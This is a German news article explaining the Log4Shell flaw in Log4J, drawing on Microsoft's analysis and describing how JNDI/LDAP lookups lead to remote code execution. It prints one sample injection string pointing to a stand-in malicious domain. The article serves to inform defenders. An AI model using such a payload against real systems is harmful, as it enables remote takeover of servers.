Log4J-Lücke: Warum Log4Shell so gefährlich ist und was (nicht) hilft

Das Threat-Intelligence-Team von Microsoft, das sich um die Auswertung und Gefahrenanalyse von Sicherheitslücken sowie Schadsoftware kümmert, hat eine erste Analyse zu der Log4Shell genannten Lücke (CVE-2021-44228) in der Logging-Bibliothek Log4J veröffentlicht. Dort betont es: Jedes System mit Log4J muss inzwischen als angegriffen betrachtet werden.

Konkret heißt es in der Auswertung von Microsoft: "Da die Vektoren, über die diese Schwachstelle ausgenutzt werden kann, sehr breit gefächert sind und das vollständige Ausspielen von Abhilfemaßnahmen in großen Umgebungen Zeit in Anspruch nehmen wird, empfehlen wir Verteidigern, auf Anzeichen einer nachträglichen Ausnutzung zu achten anstatt sich vollständig auf die Prävention zu verlassen."

Doch konnte eine Lücke in einer Logging-Bibliothek innerhalb weniger Tage nach Bekanntwerden so gravierende Auswirkungen haben, dass Vorkehrungen und das Einspielen von Updates kaum noch helfen? Das liegt einerseits an der extrem weiten Verbreitung von Log4J und andererseits an der Lücke selbst, deren Ausnutzung vergleichsweise einfach ist.

Wie funktioniert die Lücke?

Um das Vorgehen beim Ausnutzen der Lücke zu verstehen, ist es zunächst wichtig zu wissen, was Log4J eigentlich macht: Als Logging-Anwendung zeichnet das Werkzeug Meldungen von Software auf, zum Beispiel Fehlermeldungen, damit diese später noch nachvollzogen werden können. Üblicherweise werden damit aber auch bestimmte weitere Zeichenketten aufgezeichnet, die von außen an eine Anwendung kommen. Das sind etwa der User-Agent eines Browsers, die zur Anmeldung genutzte E-Mail-Adresse oder Nutzernamen oder auch über eine API verschickte Parameter.

Statt einfach nur in eine Log-Datei geschrieben, werden diese Zeichenketten unter bestimmten Umständen auch interpretiert. Grund dafür sind die sogenannten Lookups in der Log4J-Anwendungslogik, mit denen zusätzliche Informationen zur Konfiguration von Log4J hinzugefügt werden können. Das können Attribute eines Docker-Containers oder auch Detailinformationen zur genutzten Java-Instanz sein.

Eine dieser Lookup-Funktionen in Log4J unterstützt das Java Naming and Directory Interface (JNDI). Dieses dient dazu, Referenzen auf Objekte oder Klassen zu laden - auch von entfernten Rechnern. In Log4J sollen damit etwa Variablen geladen werden können, wie es im Manual zu der Lookup-Funktion heißt. Standardmäßig genutzt werden kann der JNDI-Lookup in Log4J über den Verzeichnisdienst LDAP.

• 

Der Angriff über log4J-Lücke ermöglich die Ausführung von Code auf den betroffenen Servern. (Grafik: Govcert.ch)

Als weitere wichtige Erklärung heißt es zu den JNDI-Lookups in Log4J: "Standardmäßig wird der Abfrage das Präfix java:comp/env/ vorangestellt. Wenn der Schlüssel jedoch ein ':' enthält, wird kein Präfix hinzugefügt". Im ersten Fall ist der Aufruf also auf eine bestimmte Umgebung beschränkt, im zweiten aber eben nicht, sodass in diesem Fall auch Referenzen von entfernten Servern geladen werden könnten, wenn etwa LDAP genutzt wird.

Findet sich also in einer von Log4J geloggten Zeichenkette ein JNDI-Lookup-Aufruf, wird dieser ausgeführt. Enthält der Aufruf dann noch ein ":", wird kein Präfix genutzt und der Aufruf selbst also nicht beschränkt. So wird dann eine Referenz über JNDI auch von externen Rechnern geladen. Zum erfolgreichen Ausnutzen der Lücke reicht es letztlich also aus, einen eigenen LDAP-Server zum Verweis auf die Malware zu betreiben und das Ziel mit Log4J dazu zu bringen, den Aufruf zu loggen und dann auszuführen.

Der Aufruf folgt dabei etwa diesem Muster: ${jndi:ldap://boese-domain.golem.de/a}. Ist das angegriffene Ziel im Netz verfügbar, führt dies leicht zu einer Remote-Code-Execution (RCE), also dem Ausführen von Schadcode. Erste Beispiele dafür zeigten Nutzer bereits in der vergangenen Woche für Steam, die iCloud oder die Java-Edition von Minecraft, die mit Hilfe von Chat-Nachrichten übernommen werden konnte.